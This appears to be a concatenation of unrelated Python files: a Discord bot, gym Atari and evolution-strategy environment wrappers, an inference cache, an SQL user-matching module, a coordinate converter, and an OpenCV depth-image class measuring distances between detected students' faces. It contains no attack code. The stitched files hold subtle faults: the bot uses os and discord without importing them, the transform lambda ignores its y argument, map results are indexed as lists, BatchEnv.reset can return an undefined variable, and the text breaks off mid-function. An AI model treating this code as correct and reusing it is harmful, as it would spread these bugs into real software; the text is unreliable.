from motor.motor_asyncio import AsyncIOMotorClient
from contextlib import redirect_stdout
from discord.ext import commands
import json
import subprocess
import asyncio
from ext import utils
from ext.paginator import PaginatorSession

# def load_json(path, key):
#     with open(f'./data/{path}') as f:
#         config = json.load(f)
#     return config.get(key)

async def get_pre(bot, message):
    '''Gets the prefix for the guild'''
    try:
        result = await bot.db.config.find_one({'_id': str(message.guild.id)})
    except AttributeError:
        return '-'
    if not result or not result.get('prefix'):
        return '-'
    return result

bot = commands.Bot(command_prefix=".")
# with open('./data/auths.json') as f:
#     bot.auth = json.load(f)

bot.remove_command('help')
version = "v2.0.0"

@bot.command(name="load", discription="Loads a cog", hidden=True)
async def load(ctx, extension):
    bot.load_extension(f"cogs.{extension}")
    await ctx.send('Successfully loaded')

for filename in os.listdir('./cogs'):
    if filename.endswith('.py'):
        bot.load_extension(f"cogs.{filename[:-3]}")

@bot.event
async def on_ready():
    await bot.change_presence(activity=discord.Game(f"with {len(bot.guilds)} servers | .help | {version}"), afk=True)

    print('Bot is Online.')

@bot.command()
async def help(ctx):
	embed = discord.Embed(color=discord.Color.dark_teal())
	embed.add_field(name="Mathematics Commands", value="*add | subtract | multiply | power |divide*", inline=True)
	embed.add_field(name="Fun Commands", value="*slap | boxsim*", inline=True)
	embed.add_field(name="Search Commands", value="*img |  wiki*", inline=True)
	embed.add_field(name="Pokemon Commands", value="*pokerandom | pokeinfo | poketype*", inline=True)
	embed.add_field(name="Fun Commands I", value="*say | kill | cry | bully | smile | stare |asktrump | fuck | angry | cuddle | poke | pikachu | pat | drink | kiss| hug*", inline=True)
	embed.add_field(name="Action Commands", value="*ban | hackban | unban| kick | purge | mute | unmute | softban*", inline=True)
	await ctx.send(embed=embed)

@bot.command()
async def ping(ctx):
    '''Pong! Get the bot's response time'''
    em = discord.Embed(color=discord.Color.green())
    em.title = "pong"
    em.description = f'{bot.latency * 1000} ms'
    await ctx.send(embed=em)

@bot.command(name='bot')
async def _bot(ctx):
    '''Shows info about bot'''
    em = discord.Embed(color=discord.Color.green())
    em.title = 'Bot Info'
    em.set_author(name=ctx.author.name, icon_url=ctx.author.avatar_url)
    try:
        em.description = bot.psa + '\n[Support Server](https://discord.gg/RzsYQ9f)'
    except AttributeError:
        em.description = 'A multipurpose bot made by Bushidoe'
    em.add_field(name="Servers", value=len(bot.guilds))
    em.add_field(name="Online Users", value=str(len({m.id for m in bot.get_all_members() if m.status is not discord.Status.offline})))
    em.add_field(name='Total Users', value=len(bot.users))
    em.add_field(name='Channels', value=f"{sum(1 for g in bot.guilds for _ in g.channels)}")
    em.add_field(name="Library", value=f"discord.py")
    em.add_field(name="Bot Latency", value=f"{bot.ws.latency * 1000:.0f} ms")

    em.set_footer(text="P1 bot | Powered by discord.py")
    await ctx.send(embed=em)

# if __name__ == "main":
#     print('Online.')
# else:
#     print('Fluffy coochie!')

if __name__ == '__main__':
    # bot.run(load_json('token.json', 'TOKEN'))
    # print('Bot is online.')
    bot.run(os.getenv('token'))


import atexit
from typing import Callable
import multiprocessing
import sys
import traceback
import gym
from gym.envs.registration import registry as gym_registry
import numpy as np

class Environment:
    """Inherit from this class to test the Swarm on a different problem."""

    action_space = None
    observation_space = None
    reward_range = None
    metadata = None

    def __init__(self, name, n_repeat_action: int=1):
        self._name = name
        self.n_repeat_action = n_repeat_action

    @property
    def unwrapped(self):
        """Completely unwrap this env.

        Returns:
            fractalai.Environment: The base non-wrapped fractalai.Environment instance
        """
        return self

    @property
    def name(self):
        return self._name

    def step(self, action, state=None, n_repeat_action: int=1) -> tuple:
        raise NotImplementedError

    def step_batch(self, actions, states=None, n_repeat_action: int=1) -> tuple:
        raise NotImplementedError

    def reset(self) -> tuple:
        raise NotImplementedError

    def get_state(self):
        raise NotImplementedError

    def set_state(self, state):
        raise NotImplementedError

class AtariEnvironment(Environment):
    """Environment for playing Atari games."""

    def __init__(self, name: str, clone_seeds: bool=True, n_repeat_action: int=1):
        super(AtariEnvironment, self).__init__(name=name, n_repeat_action=n_repeat_action)
        self.clone_seeds = clone_seeds
        spec = gym_registry.spec(name)
        # not actually needed, but we feel safer
        spec.max_episode_steps = None
        spec.max_episode_time = None
        self._env = spec.make()
        self.action_space = self._env.action_space
        self.observation_space = self._env.observation_space
        self.reward_range = self._env.reward_range
        self.metadata = self._env.metadata

    def __getattr__(self, item):
        return getattr(self._env, item)

    @property
    def n_actions(self):
        return self._env.action_space.n

    def get_state(self) -> np.ndarray:
        if self.clone_seeds:
            return self._env.unwrapped.clone_full_state()
        else:
            return self._env.unwrapped.clone_state()

    def set_state(self, state: np.ndarray):
        if self.clone_seeds:
            self._env.unwrapped.restore_full_state(state)
        else:
            self._env.unwrapped.restore_state(state)
        return state

    def step(self, action: np.ndarray, state: np.ndarray = None,
             n_repeat_action: int = None) -> tuple:
        n_repeat_action = n_repeat_action if n_repeat_action is not None else self.n_repeat_action
        if state is not None:
            self.set_state(state)
        reward = 0
        end = False
        info = {"lives": -1}
        for i in range(n_repeat_action):

            obs, _reward, _end, _info = self._env.step(action)
            _info["lives"] = _info.get("ale.lives", -1)
            end = _end or end or info["lives"] > _info["lives"]
            info = _info.copy()
            reward += _reward
            if _end:
                break
        info["terminal"] = _end
        if state is not None:
            new_state = self.get_state()
            return new_state, obs, reward, end, info
        return obs, reward, end, info

    def step_batch(self, actions, states=None, n_repeat_action: [int, np.ndarray]=None) -> tuple:
        """

        :param actions:
        :param states:
        :param n_repeat_action:
        :return:
        """
        n_repeat_action = n_repeat_action if n_repeat_action is not None else self.n_repeat_action
        n_repeat_action = n_repeat_action if isinstance(n_repeat_action, np.ndarray) \
            else np.ones(len(states)) * n_repeat_action
        data = [self.step(action, state, n_repeat_action=dt)
                for action, state, dt in zip(actions, states, n_repeat_action)]
        new_states, observs, rewards, terminals, lives = [], [], [], [], []
        for d in data:
            if states is None:
                obs, _reward, end, info = d
            else:
                new_state, obs, _reward, end, info = d
                new_states.append(new_state)
            observs.append(obs)
            rewards.append(_reward)
            terminals.append(end)
            lives.append(info)
        if states is None:
            return observs, rewards, terminals, lives
        else:
            return new_states, observs, rewards, terminals, lives

    def reset(self, return_state: bool=True):
        if not return_state:
            return self._env.reset()
        else:
            obs = self._env.reset()
            return self.get_state(), obs

    def render(self):
        return self._env.render()

class ESEnvironment(Environment):
    """Environment for Solving Evolutionary Strategies."""

    def __init__(self, name: str, dnn_callable: Callable, n_repeat_action: int=1,
                 max_episode_length=1000, noise_prob: float=0):
        super(ESEnvironment, self).__init__(name=name, n_repeat_action=n_repeat_action)
        self.dnn_callable = dnn_callable
        self._env = gym.make(name)
        self.neural_network = self.dnn_callable()
        self.max_episode_length = max_episode_length
        self.noise_prob = noise_prob

    def __getattr__(self, item):
        return getattr(self._env, item)

    def get_state(self) -> np.ndarray:
        return self.neural_network.get_weights()

    def set_state(self, state: [np.ndarray, list]):
        """
        Sets the microstate of the simulator to the microstate of the target State.
        I will be super grateful if someone shows me how to do this using Open Source code.
        :param state:
        :return:
        """
        self.neural_network.set_weights(state)

    @staticmethod
    def _perturb_weights(weights: [list, np.ndarray],
                         perturbations: [list, np.ndarray]) -> list:
        """
        Updates a set of weights with a gaussian perturbation with sigma equal to self.sigma and
        mean 0.
        :param weights: Set of weights that will be updated.
        :param perturbations: Standard gaussian noise.
        :return: perturbed weights with desired sigma.
        """
        weights_try = []
        for index, noise in enumerate(perturbations):
            weights_try.append(weights[index] + noise)
        return weights_try

    def _normalize_observation(self, obs):
        if "v0" in self.name:
            return obs / 255
        else:
            return obs

    def step(self, action: np.ndarray, state: np.ndarray = None,
             n_repeat_action: int = None) -> tuple:

        n_repeat_action = n_repeat_action if n_repeat_action is not None else self.n_repeat_action

        if state is not None:
            new_weights = self._perturb_weights(state, action)
            self.set_state(new_weights)
        obs = self._env.reset()
        reward = 0
        n_steps = 0
        end = False
        while not end and n_steps < self.max_episode_length:
            if np.random.random() < self.noise_prob:
                nn_action = self._env.action_space.sample()
            else:
                processed_obs = self._normalize_observation(obs.flatten())
                nn_action = self.neural_network.predict(processed_obs)
            for i in range(n_repeat_action):

                obs, _reward, end, info = self._env.step(nn_action)
                reward += _reward
                n_steps += 1

        if state is not None:
            new_state = self.get_state()
            return new_state, obs, reward, False, 0
        return obs, reward, False, 0

    def step_batch(self, actions, states=None, n_repeat_action: int=None) -> tuple:
        n_repeat_action = n_repeat_action if n_repeat_action is not None else self.n_repeat_action
        n_repeat_action = n_repeat_action if isinstance(n_repeat_action, np.ndarray) \
            else np.ones(len(states)) * n_repeat_action
        data = [self.step(action, state, n_repeat_action=dt)
                for action, state, dt in zip(actions, states, n_repeat_action)]
        new_states, observs, rewards, terminals, lives = [], [], [], [], []
        for d in data:
            if states is None:
                obs, _reward, end, info = d
            else:
                new_state, obs, _reward, end, info = d
                new_states.append(new_state)
            observs.append(obs)
            rewards.append(_reward)
            terminals.append(end)
            lives.append(info)
        if states is None:
            return observs, rewards, terminals, lives
        else:
            return new_states, observs, rewards, terminals, lives

    def reset(self, return_state: bool=False):
        if not return_state:
            return self._env.reset()
        else:
            obs = self._env.reset()
            return self.get_state(), obs

def split_similar_chunks(vector: list, n_chunks: int):
    chunk_size = int(np.ceil(len(vector) / n_chunks))
    for i in range(0, len(vector), chunk_size):
        yield vector[i:i + chunk_size]

class ExternalProcess(object):
    """Step environment in a separate process for lock free parallelism.
    It is mostly a copy paste from
    https://github.com/tensorflow/agents/blob/master/agents/tools/wrappers.py
    """

    # Message types for communication via the pipe.
    _ACCESS = 1
    _CALL = 2
    _RESULT = 3
    _EXCEPTION = 4
    _CLOSE = 5

    def __init__(self, constructor):
        """Step environment in a separate process for lock free paralellism.
        The environment will be created in the external process by calling the
        specified callable. This can be an environment class, or a function
        creating the environment and potentially wrapping it. The returned
        environment should not access global variables.
        Args:
          constructor: Callable that creates and returns an OpenAI gym environment.
        Attributes:
          observation_space: The cached observation space of the environment.
          action_space: The cached action space of the environment.
        """
        self._conn, conn = multiprocessing.Pipe()
        self._process = multiprocessing.Process(
            target=self._worker, args=(constructor, conn))
        atexit.register(self.close)
        self._process.start()
        self._observ_space = None
        self._action_space = None

    @property
    def observation_space(self):
        if not self._observ_space:
            self._observ_space = self.__getattr__('observation_space')
        return self._observ_space

    @property
    def action_space(self):
        if not self._action_space:
            self._action_space = self.__getattr__('action_space')
        return self._action_space

    def __getattr__(self, name):
        """Request an attribute from the environment.
        Note that this involves communication with the external process, so it can
        be slow.
        Args:
          name: Attribute to access.
        Returns:
          Value of the attribute.
        """
        self._conn.send((self._ACCESS, name))
        return self._receive()

    def call(self, name, *args, **kwargs):
        """Asynchronously call a method of the external environment.
        Args:
          name: Name of the method to call.
          *args: Positional arguments to forward to the method.
          **kwargs: Keyword arguments to forward to the method.
        Returns:
          Promise object that blocks and provides the return value when called.
        """
        payload = name, args, kwargs
        self._conn.send((self._CALL, payload))
        return self._receive

    def close(self):
        """Send a close message to the external process and join it."""
        try:
            self._conn.send((self._CLOSE, None))
            self._conn.close()
        except IOError:
            # The connection was already closed.
            pass
        self._process.join()

    def set_state(self, state, blocking=True):
        promise = self.call('set_state', state)
        if blocking:
            return promise()
        else:
            return promise

    def step_batch(self, actions, states=None,
                   n_repeat_action: [np.ndarray, int]=None, blocking=True):
        promise = self.call('step_batch', actions, states, n_repeat_action)
        if blocking:
            return promise()
        else:
            return promise

    def step(self, action, state=None, n_repeat_action: int=None, blocking=True):
        """Step the environment.
        Args:
          action: The action to apply to the environment.
          blocking: Whether to wait for the result.
        Returns:
          Transition tuple when blocking, otherwise callable that returns the
          transition tuple.
        """

        promise = self.call('step', action, state, n_repeat_action)
        if blocking:
            return promise()
        else:
            return promise

    def reset(self, blocking=True, return_states: bool=False):
        """Reset the environment.
        Args:
          blocking: Whether to wait for the result.
        Returns:
          New observation when blocking, otherwise callable that returns the new
          observation.
        """
        promise = self.call('reset', return_states=return_states)
        if blocking:
            return promise()
        else:
            return promise

    def _receive(self):
        """Wait for a message from the worker process and return its payload.
        Raises:
          Exception: An exception was raised inside the worker process.
          KeyError: The reveived message is of an unknown type.
        Returns:
          Payload object of the message.
        """
        message, payload = self._conn.recv()
        # Re-raise exceptions in the main process.
        if message == self._EXCEPTION:
            stacktrace = payload
            raise Exception(stacktrace)
        if message == self._RESULT:
            return payload
        raise KeyError('Received message of unexpected type {}'.format(message))

    def _worker(self, constructor, conn):
        """The process waits for actions and sends back environment results.
        Args:
          constructor: Constructor for the OpenAI Gym environment.
          conn: Connection for communication to the main process.
        Raises:
          KeyError: When receiving a message of unknown type.
        """
        try:
            env = constructor()
            env.reset()
            while True:
                try:
                    # Only block for short times to have keyboard exceptions be raised.
                    if not conn.poll(0.1):
                        continue
                    message, payload = conn.recv()
                except (EOFError, KeyboardInterrupt):
                    break
                if message == self._ACCESS:
                    name = payload
                    result = getattr(env, name)
                    conn.send((self._RESULT, result))
                    continue
                if message == self._CALL:
                    name, args, kwargs = payload
                    result = getattr(env, name)(*args, **kwargs)
                    conn.send((self._RESULT, result))
                    continue
                if message == self._CLOSE:
                    assert payload is None
                    break
                raise KeyError('Received message of unknown type {}'.format(message))
        except Exception:  # pylint: disable=broad-except
            import tensorflow as tf
            stacktrace = ''.join(traceback.format_exception(*sys.exc_info()))
            tf.logging.error('Error in environment process: {}'.format(stacktrace))
            conn.send((self._EXCEPTION, stacktrace))
            conn.close()

class BatchEnv(object):
    """Combine multiple environments to step them in batch.
    It is mostly a copy paste from
    https://github.com/tensorflow/agents/blob/master/agents/tools/wrappers.py
    """

    def __init__(self, envs, blocking):
        """Combine multiple environments to step them in batch.
        To step environments in parallel, environments must support a
        `blocking=False` argument to their step and reset functions that makes them
        return callables instead to receive the result at a later time.
        Args:
          envs: List of environments.
          blocking: Step environments after another rather than in parallel.
        Raises:
          ValueError: Environments have different observation or action spaces.
        """
        self._envs = envs
        self._blocking = blocking

    def __len__(self):
        """Number of combined environments."""
        return len(self._envs)

    def __getitem__(self, index):
        """Access an underlying environment by index."""
        return self._envs[index]

    def __getattr__(self, name):
        """Forward unimplemented attributes to one of the original environments.
        Args:
          name: Attribute that was accessed.
        Returns:
          Value behind the attribute name one of the wrapped environments.
        """
        return getattr(self._envs[0], name)

    def _make_transitions(self, actions, states=None, n_repeat_action: [np.ndarray, int]=None):
        states = states if states is not None else [None] * len(actions)
        n_repeat_action = n_repeat_action if isinstance(n_repeat_action, np.ndarray) \
            else np.ones(len(states)) * n_repeat_action
        chunks = len(self._envs)
        states_chunk = split_similar_chunks(states, n_chunks=chunks)
        actions_chunk = split_similar_chunks(actions, n_chunks=chunks)
        repeat_chunk = split_similar_chunks(n_repeat_action, n_chunks=chunks)
        results = []
        for env, states_batch, actions_batch, dt in zip(self._envs,
                                                        states_chunk, actions_chunk, repeat_chunk):
                result = env.step_batch(actions=actions_batch, states=states_batch,
                                        n_repeat_action=dt, blocking=self._blocking)
                results.append(result)

        _states = []
        observs = []
        rewards = []
        terminals = []
        infos = []
        for result in results:
            if self._blocking:
                if states is None:
                    obs, rew, ends, info = result
                else:
                    _sts, obs, rew, ends, info = result
                    _states += _sts
            else:
                if states is None:
                    obs, rew, ends, info = result()
                else:
                    _sts, obs, rew, ends, info = result()
                    _states += _sts
            observs += obs
            rewards += rew
            terminals += ends
            infos += info
        if states is None:
            transitions = observs, rewards, terminals, infos
        else:
            transitions = _states, observs, rewards, terminals, infos
        return transitions

    def step_batch(self, actions, states=None, n_repeat_action: [np.ndarray, int]=None):
        """Forward a batch of actions to the wrapped environments.
        Args:
          actions: Batched action to apply to the environment.
          states: States to be stepped. If None, act on current state.
          n_repeat_action: Number of consecutive times the action will be applied.
        Raises:
          ValueError: Invalid actions.
        Returns:
          Batch of observations, rewards, and done flags.
        """

        if states is None:
            observs, rewards, dones, lives = self._make_transitions(actions, None, n_repeat_action)
        else:
            states, observs, rewards, dones, lives = self._make_transitions(actions, states,
                                                                            n_repeat_action)
        observ = np.stack(observs)
        reward = np.stack(rewards)
        done = np.stack(dones)
        lives = np.stack(lives)
        if states is None:
            return observ, reward, done, lives
        else:
            return states, observs, rewards, dones, lives

    def sync_states(self, state, blocking: bool=True):
        for env in self._envs:
            try:
                env.set_state(state, blocking=blocking)
            except EOFError:
                continue

    def reset(self, indices=None, return_states: bool=True):
        """Reset the environment and convert the resulting observation.
        Args:
          indices: The batch indices of environments to reset; defaults to all.
          return_states: return the corresponding states after reset.
        Returns:
          Batch of observations.
        """
        if indices is None:
            indices = np.arange(len(self._envs))
        if self._blocking:
            observs = [self._envs[index].reset(return_states=return_states) for index in indices]
        else:
            transitions = [self._envs[index].reset(blocking=False,
                                                   return_states=return_states)
                           for index in indices]
            transitions = [trans() for trans in transitions]
            states, observs = zip(*transitions)

        observ = np.stack(observs)
        if return_states:
            return np.array(states), observ
        return observ

    def close(self):
        """Send close messages to the external process and join them."""
        for env in self._envs:
            if hasattr(env, 'close'):
                env.close()

def env_callable(name, env_class, *args, **kwargs):
    def _dummy():
        return env_class(name, *args, **kwargs)
    return _dummy

class ParallelEnvironment(Environment):
    """Wrap any environment to be stepped in parallel."""

    def __init__(self, name, env_class, n_workers: int=8, blocking: bool=True, *args, **kwargs):
        """

        :param name: Name of the Environment
        :param env_class: Class of the environment to be wrapped.
        :param n_workers: number of workers that will be used.
        :param blocking: step the environments asynchronously.
        :param args: args of the environment that will be parallelized.
        :param kwargs: kwargs of the environment that will be parallelized.
        """
        super(ParallelEnvironment, self).__init__(name=name)
        self._env = env_callable(name, env_class, *args, **kwargs)()
        envs = [ExternalProcess(constructor=env_callable(name, env_class, *args, **kwargs))
                for _ in range(n_workers)]
        self._batch_env = BatchEnv(envs, blocking)
        self.action_space = self._env.action_space
        self.observation_space = self._env.observation_space

    def __getattr__(self, item):
        return getattr(self._env, item)

    def step_batch(self, actions: np.ndarray, states: np.ndarray=None,
                   n_repeat_action: [np.ndarray, int]=None):
        return self._batch_env.step_batch(actions=actions, states=states,
                                          n_repeat_action=n_repeat_action)

    def step(self, action: np.ndarray, state: np.ndarray=None, n_repeat_action: int=None):
        return self._env.step(action=action, state=state, n_repeat_action=n_repeat_action)

    def reset(self, return_state: bool = True, blocking: bool=True):
        state, obs = self._env.reset(return_state=True)
        self.sync_states()
        return state, obs if return_state else obs

    def get_state(self):
        return self._env.get_state()

    def set_state(self, state):
        self._env.set_state(state)
        self.sync_states()

    def sync_states(self):
        self._batch_env.sync_states(self.get_state())


# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.

from datetime import datetime, timezone
import os
import collections

CACHE_SIZE = os.environ.get('CACHE_SIZE', 200)
THRESHHOLD = os.environ.get('THRESHHOLD', 5)

class InferCache:
  def __init__(self, size, threshold):
    self.cache = collections.defaultdict(list)
    self.size = size
    self.threshold = threshold

  def append(self, ts, infer):
    self.cache[ts].append(infer)
    if len(self.cache) > self.size:
      # remove oldest data
      del self.cache[min(self.cache.keys())]

  def get(self, now):
    # pick the data closest to current time
    ts_now = datetime.timestamp(now) * (10 ** 9)
    closest = -1
    if self.cache:
      closest = min(self.cache.keys(), key=lambda ts_cache: abs(ts_now - ts_cache))
    if abs(ts_now - closest) > self.threshold * (10 ** 9):
      print("===============No bounding box shown======================")
      print(f'the most closet time with bbox in threshold: {datetime.utcfromtimestamp(closest // (10 ** 9))}')
      closest = -1
      print('==========================================================')

    return self.cache[closest], closest

infer_cache = InferCache(CACHE_SIZE, THRESHHOLD)


"""
This module provides user matching functionality.
"""

__all__ = ['n_rand_matches', 'n_best_matches']

import random

import sqldb

from typing import List, Tuple

def n_rand_matches(cur, uid: int, n: int = 1) -> List[Tuple[int]]:
    """
    Fetches n other random users. The returned list may be smaller than
    n (if not enough random matches exist to fill it).
    """

    query = '''SELECT userId FROM UsersInterestsJoin WHERE userId <> ?;'''

    others = sqldb.do_sql(cur, query, (uid,))

    if others is None:
        return []

    others = set(others)

    # using a set deduplicates the user list for us, but we have to convert
    # back to a list to pass to random.sample without a deprecation warning
    return random.sample(list(others), min(n, len(others)))

def n_best_matches(cur, uid: int, user_interests: List[int], n: int = 1) -> List[Tuple[int, int]]:
    """
    Fetches the n other users who have the most matching interests from the
    given list. The list is of the format [(user-id, matching_interests)*],
    and may be smaller than n (if not enough matches exist to fill it).
    """
    user_matching_interests = {}

    interest_category = '''SELECT categoryId FROM Interests
    INNER JOIN InterestCategories ON Interests.categoryId = InterestCategories.id
    WHERE Interests.id LIKE ?;'''

    user_interest_categories = set()
    for interest in user_interests:
        category = sqldb.do_sql(cur, interest_category, (interest,))[0][0]
        if category not in user_interest_categories:
            user_interest_categories.add(category)

    matching_categories = '''SELECT userId FROM UsersInterestsJoin
    INNER JOIN Users ON UsersInterestsJoin.userId = Users.id
    INNER JOIN Interests ON UsersInterestsJoin.interestId = Interests.id
    INNER JOIN InterestCategories ON Interests.categoryId = InterestCategories.id
    WHERE userId <> ? AND categoryId LIKE ?;'''

    matching_interests = '''SELECT userId FROM UsersInterestsJoin
    INNER JOIN Users ON UsersInterestsJoin.userId = Users.id
    INNER JOIN Interests ON UsersInterestsJoin.interestId = Interests.id
    INNER JOIN InterestCategories ON Interests.categoryId = InterestCategories.id
    WHERE userId <> ? AND interestId LIKE ?;'''

    matched_interest_score = 10
    matched_category_score = 1

    # search based on interest categories (to establish a baseline)
    for category in user_interest_categories:
        matching_users = sqldb.do_sql(cur, matching_categories, (uid, category))

        if matching_users is not None:
            matching_users = set(matching_users)

            for other in matching_users:
                other_id = other[0]

                old_score = user_matching_interests.get(other_id, 0)
                new_score = old_score + matched_category_score
                user_matching_interests[other_id] = new_score

    # search based on more granular interest
    for interest in user_interests:
        matching_users = sqldb.do_sql(cur, matching_interests, (uid, interest))

        if matching_users is not None:
            matching_users = set(matching_users)

            for other in matching_users:
                other_id = other[0]

                old_score = user_matching_interests.get(other_id, 0)
                new_score = old_score + matched_interest_score
                user_matching_interests[other_id] = new_score

    random_matches = n_rand_matches(cur, uid, n)

    score_key = lambda user: user_matching_interests[user]
    best_matches = sorted(user_matching_interests, key=score_key, reverse=True)[:n]

    matches = [(user, user_matching_interests[user]) for user in best_matches]

    # fill the remainder of the match list with random matches
    previously_matched = set(best_matches)
    while len(matches) < n and 0 < len(random_matches):
        random = random_matches.pop()[0]

        if random not in previously_matched:
            previously_matched.add(random)
            matches.append((random, 0))
            break

    return matches

if __name__ == '__main__':
    conn = sqldb.try_open_conn()
    cur = conn.cursor()

    select_interests = '''SELECT interestId FROM UsersInterestsJoin
    INNER JOIN Users ON UsersInterestsJoin.userId = Users.id
    INNER JOIN Interests ON UsersInterestsJoin.interestId = Interests.id
    WHERE userId LIKE ?;'''

    user = sqldb.do_sql(cur, 'SELECT id FROM Users;')[2]
    user_interests = sqldb.do_sql(cur, select_interests, (user[0],))

    print(f'Finding 1 random match for user {user}')
    print(n_rand_matches(cur, user[0], 1))

    print(f'Finding 10 random match for user {user}')
    print(n_rand_matches(cur, user[0], 10))

    print(f'Finding 3 best matches for user {user} with interests {user_interests}')
    print(n_best_matches(cur, user[0], [interest[0] for interest in user_interests], 3))

    print(f'Finding 10 best matches for user {user} with interests {user_interests}')
    print(n_best_matches(cur, user[0], [interest[0] for interest in user_interests], 10))


import os
import json

transform = lambda x, y: [6.4*x + 640, 3.6*x + 360]

fout = open("coordinates.json", "w")
result = {}

for cf in os.listdir("coords"):
    data = open("coords/" + cf).read().split('\n')
    for i in data:
        if i != '':
            coords_orig = map(float, i.split(',')[:-1])
            x1 = coords_orig[0]
            y1 = coords_orig[1]
            x2 = coords_orig[2]
            y2 = coords_orig[3]
            x3 = coords_orig[4]
            y3 = coords_orig[5]
            x4 = coords_orig[6]
            y4 = coords_orig[7]

            p1_transformed = transform(x1, y1)
            p2_transformed = transform(x2, y2)
            p3_transformed = transform(x3, y3)
            p4_transformed = transform(x4, y4)
            result[cf] = [p1_transformed, p2_transformed, p3_transformed, p4_transformed]

result = json.dumps(result)
fout.write(result)
fout.close()


#############################################################################################################################
# Authors: Brandon Royal, Stephen Ulmer, Vien Yeung
#
# Description: Using the orginal image and the depth data image, determines the social relationship between individuals
#
# Change Log:
#   - Brandon Royal - Initial
#
#############################################################################################################################

from PIL import Image
import cv2
from CroppedFace import *
import numpy
import math

class DepthProcessing():

    def __init__(self, meeting, arrayStudents, size):
        self.meeting = meeting
        self.arrayStudents = arrayStudents
        self.size = size

    def beginDepthProcessing(self):

        cascPath = "haarcascade_frontalface_default.xml"
        faceCascade = cv2.CascadeClassifier(cascPath)

        ##open the images using Pil (use this if the shape idea does not work)
        #orginalImage = Image.open(self.meeting.getMeetingPicPath())
        #depthImage = Image.open(self.meeting.getDepthPicPath())
        ##get each images dimensions
        #orginalWidth, orginalHeight = orginalImage.size
        #depthHeight, depthWidth = depthImage.size

        #read images into open cv and detect the faces
        imageOrginal = cv2.imread(self.meeting.getMeetingPicPath())
        imageDepth = cv2.imread(self.meeting.getDepthPicPath(), 0)

        originalWidth, originalHeight = imageOrginal.shape[:2]
        depthWidth, depthHeight  = imageDepth.shape[:2]

        #print(originalWidth, originalHeight)
        #print(depthWidth, depthHeight)

        #determine the scaling multiplier based of the ratio of the depth to orginal width and height
        coordinateXMultiplier = depthWidth/originalWidth
        coordinateYMultiplier = depthHeight/originalHeight

        #gray = cv2.cvtColor(imageDepth, cv2.COLOR_BGR2GRAY)

        #img = cv2.imread(self.depthImagePath, 0) #since the image is grayscale, we need only one channel and the value '0' indicates just that
        #for i in range (img.shape[0]): #traverses through height of the image
        #    for j in range (img.shape[1]): #traverses through width of the image
        #        print(img[i][j])

        imageDepthWithDetection = imageDepth.copy()
        imageOrginalWithDetection = imageOrginal.copy()

        imageOrginal = cv2.cvtColor(imageOrginal, cv2.COLOR_BGR2GRAY)
        faces = faceCascade.detectMultiScale(imageOrginal, scaleFactor=1.2, minNeighbors=10, minSize=(30, 30))
        id = 0
        #print(imageDepth)
        #print(numpy.mean(imageDepth))
        croppedList = []
        for (x, y, w, h) in faces:

            #first lets crop the faces from the meeting pic and save them for later use
            cropImg = imageOrginal[y:y+h, x:x+w]
            #gray = cv2.cvtColor(cropImg, cv2.COLOR_BGR2GRAY)  # turn portrait to grayscale
            shrink = cv2.resize(cropImg, (self.size, self.size))
            cropImgPath = self.meeting.getCropsDirectory()+"//"+str(id)+'.jpg'
            cv2.imwrite(cropImgPath, shrink)
            #print("wrote cropped face " + str(id))

            #next we get the face coordinates for the depth image based off the multiplier found earlier
            xs = int(x*coordinateXMultiplier)
            xws = int((x+w)*coordinateXMultiplier)
            ys = int(y*coordinateYMultiplier)
            yhs = int((y+h)*coordinateYMultiplier)
            #print("Depth Face Bounds")
            #print(xs, xws, ys, yhs)

            #save a copy of the meeting pic with detection info
            imageOrginalWithDetection = cv2.rectangle(imageOrginalWithDetection, (x, y), (x+w, y+h), (0, 255, 0), 5)
            imageOrginalWithDetection = cv2.putText(imageOrginalWithDetection, 'F' + str(id), (x,y), cv2.FONT_HERSHEY_COMPLEX, 1.5, (0, 255, 255), 5)

            count = 0
            total = 0
            #print("i:")
            #print(len(imageDepth))
            #print(xs, xws)
            #print()
            #print("j:")
            #print(len(imageDepth[0]))
            #print(ys, yhs)
            for i in range (xs, xws): #traverses through height of the image
                for j in range (ys, yhs): #traverses through width of the image
                    count = count + 1
                    total = total + imageDepth[j][i]
                    #print(count, gray[i][j])
            averageGreyScale = total/count
            distanceCameraToStudent = 1/(averageGreyScale/255)

            distanceFeet = 3.28084 * distanceCameraToStudent * 2
            distanceInches = distanceFeet * 12
            #print(total, count, averageGreyScale, distanceCameraToStudent, distanceFeet, distanceInches)

            #save a copy of the depth pic with detection info

            imageDepthWithDetection = cv2.rectangle(imageDepthWithDetection, (int(x*coordinateXMultiplier), int(y*coordinateYMultiplier)), (int((x+w)*coordinateXMultiplier), int((y+h)*coordinateYMultiplier)), (0, 255, 0), 2)
            imageDepthWithDetection = cv2.putText(imageDepthWithDetection, 'F' + str(id), (int(x*coordinateXMultiplier),int(y*coordinateYMultiplier)), cv2.FONT_HERSHEY_COMPLEX, .3, (0, 255, 255), 1)

            faceMidPointDepth = int((xs+(xws/2))), int((ys+(yhs/2)))

            faceMidPointOriginal = int(x+(w/2)), int(y+(h/2))

            xm = int((xs+(xws/2)))
            ym = int((ys+(yhs/2)))

            #print("Midpoint: " + str(faceMidPoint))

            #path = str(id) + ".jpg"
            croppedFace = CroppedFace(id, x, y, w, h, int(x*coordinateXMultiplier), int(y*coordinateYMultiplier), int((x+w)*coordinateXMultiplier), int((y+h)*coordinateYMultiplier), cropImgPath, averageGreyScale, faceMidPointOriginal, distanceCameraToStudent)
            croppedList.append(croppedFace)
            id = id + 1

        #cv2.imwrite("orginalDetection.jpg", imageOrginal)
        #cv2.imwrite("depthDetection.jpg", imageDepth)
        cv2.imwrite(self.meeting.getMeetingDirectory() + "//" + "meetingPicWithDetection.jpg", imageOrginalWithDetection)
        cv2.imwrite(self.meeting.getMeetingDirectory() + "//" + "depthPicWithDetection.jpg", imageDepthWithDetection)
        #print("wrote meeting pic and depth pic with detection")

        self.meeting.setCroppedFaces(croppedList)
        finalDistanceMatrix = self.createDistanceMatrix(croppedList)
        normalizedDistanceMatrix = self.normalizeSocialData(finalDistanceMatrix)
        self.meeting.setUnrecognizedSocialMatrix(normalizedDistanceMatrix)

    def createDistanceMatrix(self, croppedList):

        degreesPerPixel = .0108

        numStudents = len(croppedList)
        distanceMatrix = [[0 for x in range(numStudents)] for y in range(numStudents)]
        for face in croppedList:
            for otherFace in croppedList:
                if(face.getId() == otherFace.getId()):
                    continue
                pixelsBetween = self.pixelsBetweenFaces(face.getMidPoint()[0], face.getMidPoint()[1], otherFace.getMidPoint()[0], otherFace.getMidPoint()[1])
                theta = pixelsBetween * degreesPerPixel
